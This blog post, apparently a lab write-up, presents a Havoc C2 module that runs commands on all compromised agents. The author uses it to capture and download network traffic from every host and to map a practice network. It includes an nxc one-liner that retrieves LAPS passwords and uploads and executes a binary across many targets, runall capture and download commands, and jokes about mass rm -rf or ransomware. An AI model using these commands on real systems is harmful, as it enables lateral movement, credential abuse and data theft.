Creating a Havoc Module to run commands on all agents at once and map out an environment passively
Tldr
Wrote a Havoc Module to run commands on all connected agents, used it to gather network information on all compromised hosts by performing packet captures, and analysed the data offline to map out the environment and find open ports and services.
The tool can be found here: https://github.com/fyxme/havoc-runall-poc
Do you sometimes get this urge to run rm -rf
on all your beacons at once? Or maybe you’re a ransomware operator who wants to execute your ransomware BOF through all your beacons? Worry no more, the Havoc Run All Module is here!
The Havoc Run All Module allows you to run commands on all connected agents, which could prove useful when searching for something, running post-exploitation on a number of hosts and/or downloading files on all compromised hosts at once.
Note: executing ransomware this way would actually be stupid since you’d need to have a beacon on every machine you wish to ransom… As is currently done in ransomware operations, its much easier to use GPO, Intune, SCCM or any other software deployment tool. This is only a fun project which will increase IOCs when used and increase the likelihood of being compromised… So ackchyually, I’m doing blue team a favor here. Its ok… Thank me later.
Figuring out which of my beacons are alive
The first use case I found for this was to sync all my beacons (using the sleep command) and finding out which of my beacons are alive by running a dummy BOF.
To sync all the beacons, I first run sleep 0
on all of them to get them to return all at the same time (some limitations in the current version of Havoc make it unreliable when the beacons do not return at similar intervals):
To get details about the alive beacons, I’ve created a command (getalive
) which run a dummy BOF on all the agents. This BOF returns the hostname and the username of the underlying beacon allowing us to check which beacons are actually alive and which ones might be dead:
Passively mapping out an internal environment using Packet Captures
With firewalls, network access controls, and network segmentation, it can be tough to identify which machines can talk to which ones. There are tools out there that can help map out a network environment but they require active scanning of target devices. You could also use DNS cache to get an idea of what the machine is trying to talk to but it does not necessarily correlate with what it can reach (eg. DNS for a machine that is firewall/blocked off).
Instead, we can look at currently outgoing data and see if we can create our own map from passively analysing network packets. To do this, we would need access to Network Routing Device like a switch or we can rely on running packet captures on a large number of hosts within the environment. Since we’re testing out the Havoc Run All Module (and there’s no network device we can compromise), we’ll use the second option and perform a packet capture on all of the hosts we have compromised.
Gathering the data
We want to do this in the easiest way possible, without having to install tshark/wireshark or any other tools on the device. Since we’re targeting Windows machines, there are built-in tools we can use:
- The old school netsh command which can capture network traffic using the
netsh trace
sub-command - The new school pktmon (Packet monitor) which is built-in to Windows, starting in Windows 10 (version 1809).
I wasn’t sure which Windows Host versions the environment was running and I didn’t want to check if every single one of those supported the new(ish) pktmon command so I opted for the trusty old school netsh
command.
Note
If you need to execute a binary (eg. deploy a beacon) on multiple hosts at once, netexec
is a great tool for that.
netexec is very powerful and allows you to perform multiple actions with only one command. As such, you can build a netexec
(also know as nxc
) command to retrieve the LAPS password for multiple hosts, authenticate as the local administrator user to those hosts, upload a binary and execute it via command prompt (or PowerShell) in a single command:
nxc smb targets.txt -u "$LAPSUSER" "$PASSHASH" --put-file "$SOURCE_BIN" "\\Windows\\Temp\\$TARGET_BIN" -x "C:\\Windows\\Temp\\$TARGET_BIN" --exec-method atexec --laps
where:
targets.txt - a text file containing a list of targets you want to compromise
$LAPSUSER - the user with permission to access the LAPS password in LDAP
$SOURCE_BIN - the binary you wish to upload
$TARGET_BIN - the binary name on the receiving host
After deploying my beacons using nxc
, I was able to connect to them in Havoc and they started pinging back periodically as expected:
I then started a trace on all the beacons at once using the following commands:
# start the trace
runall powershell netsh trace start capture=yes tracefile=C:\windows\temp\cap.etl
# wait like 5-10 minutes for traffic to be generated
runall powershell netsh trace stop
# wait like 3-5 minutes until the trace is consolidated
Data collection and consolidation takes some time but once it’s completed you should see a message as such:
At this point we have an ETL file (Microsoft Event Trace Log File) which can be opened by ETW-centric tools like Microsoft Message Analyzer, but cannot be opened by Wireshark and co. Ideally, we want a file format that is supported by most tools which analyse network data, aka we want a PCAP or PCAPng file. As such we can convert the .etl
file into a .pcapng
file using the etl2pcapng utility tool.
I couldn’t be bothered to download all the .etl
files to a local Windows VM so I’m using noconsolation (A BOF that runs unmanaged PEs inline) to execute etl2pcapng
and convert all trace log files to .pcapng
:
# running etl2pcapng to convert etl to pcapng directly on the hosts
# --no-output needed on certain OSes like Windows 2016 Server
runall yesconsolation --no-output /home/lo/tools/etl2pcapng.exe C:\windows\temp\cap.etl C:\windows\temp\cap.pcapng
Warning
There is an issue with some of the automatically imported Havoc BOFs (commands) which cause the client to crash under certain conditions. For example running runall noconsolation
will crash the client. To fix it you need to import the BOFs yourself, which is what I’ve done here with the yesconsolation
command (noconsolation
-> yesconsolation
).
This is not something I have control over, however from the code updates I’ve seen, it should be fixed in the Havoc re-write version.
Downloading & Merging the data
At this point we have a .pcapng
file for each host which we need to download and merge so we can analyse the data offline. To do this we can use the built-in Havoc download command to retrieve the .pcapng
files:
runall download C:\windows\temp\mycoolnetwork.pcapng
Depending on how large the PCAP is, this may take a while… You can use the last seen tab to know when the file has finished downloading vs when it’s still downloading:
Once downloaded, you can navigate to your local Havoc install and find the data/loot
folder which is where the downloaded files will be located:
Now we don’t want to deal with each packet capture one at a time, so instead we can merge them into a single large PCAP file using the mergecap tool (which is part of Wireshark):
Some tools might not work with pcapng (eg. the free version of NetworkMiner) and require the old school pcap format instead, which we can easily create using tshark (part of Wireshark as well):
The old school PCAP format does not have all the bells and whistles of the PCAPng format and therefore may loose some data during conversion. This explains the discrepancy in the file sizes above.
Analysing the data
Note
We didn’t filter the data before combining it, which means 2 systems talking to each other will have generated the same packets (in opposite direction) which would have been captured during data gathering. Hence, if we captured the data correctly, we can assume that we have at least double the amount of packets needed (disregarding packet loss). I’ll leave the packet filtering as an exercise for the reader.
Alternatively, we could use the extra packet to compare both hosts to ensure no packet manipulation is being performed between the hosts and perform additional data analysis.
Ignoring the duplicate packets, we can load this fat PCAP into NetworkMiner to get a quick overview of the environment. You can run NetworkMiner from Linux using mono (the Cross platform, open source .NET framework):
mono NetworkMiner.exe --noupdatecheck
Because its a big file and we’re running NetworkMiner via mono on Linux, this takes a while to process… Probably worth taking a coffee break here. Alternatively, you can probably parse this much faster on windows. But I’m lazy so imma go with the coffee break route instead…
edit: I’ve been here a while… this is taking a looong time.
After it finally finishes parsing, we get an idea about what we managed to capture, namely:
- 44 hosts
- 1389 DNS queries
- 61 Credentials (these are mostly hashes)
- A lot of files (?!)
- A single host on the 10.10.14.0/24 network, namely my host since I performed the capture when no-one else was using the environment
We can use tshark to generate a table like output of IP Communications and see which hosts are communicating together:
I tried playing around with python tools but because the PCAP is of decent size, it was quite slow so I resorted to writing a good ol’ C program to parse the PCAP using libpcap which generates a DOT file that can be converted to a graph using GraphViz:
The graph above already highlights a few things about the environment:
- RED: my Kali VM;
- GREEN: the two entrypoints I’m using to gain access to the internal network (ie. jumpboxes);
- BLUE: the node which connects to nearly every other node in the domain aka the domain controller.
We can also see the domain controller is talking to other nodes that I might not have compromised or have no beacon on, namely the IPs 10.10.120.20
and 10.10.122.20
. There’s a good reason these don’t appear to be connected to any other node on the network but I’ll this as an exercise for the reader.
We can also see the two Google DNS IPs (8.8.8.8
and 8.8.4.4
) being connected to the Blue node which indicate that the domain controller is likely using Google DNS server for external DNS queries. It also connects to multiple root name servers, namely e.root-servers.net (192.203.230.10
) and g.root-servers.net (192.112.36.4
).
As such, we have a decent overview of the network. We can also start performing additional data analysis to for example find open ports and services on the network like HTTPS (port 443), RDP (port 3389) and Microsoft SQL Server (port 1433):
Conclusion and use cases
The Havoc Run All Module is a fun tool to play around with in test environments but since it generates a lot of IOCs, it wouldn’t be too practical in Red Team engagements unless you’re looking to go all out and validate that the Blue Team can catch you.
I do see some potential within practice environments like HTB Pro Labs, OffSec OSEP, etc. It’s overall really fun to use and does feel pretty powerful when you don’t have to worry about OPSEC! Combine it with a BOF that searches for flags or does post-exploitation looting and you’ve got yourself a powerful weapon for those pesky practice environments which hide loot everywhere.
Passive Network Monitoring and analysis has a lot of potential for attackers willing to expand their knowledge of the network without having to actively probe ports and hosts. Definitely something I will investigate further in the future…
The Havoc Run All Module can be found here: https://github.com/fyxme/havoc-runall-poc
Future Research
- Explore packet analysis further. Develop additional analysis tools to filter, search and visualise PCAP data.
- SYN-ACK responses indicates open ports but may miss ports if the packet capture was started after the connection occurred
- Turn the packet analysis C tools into a BOF that can also capture network packets and passively identify open ports without having to export large Packet Capture files over C2 comms
- Look into trying out GRASSMARLIN which is targeted towards Industrial Control Systems (ICS), however could still be useful to map out an environment from a PCAP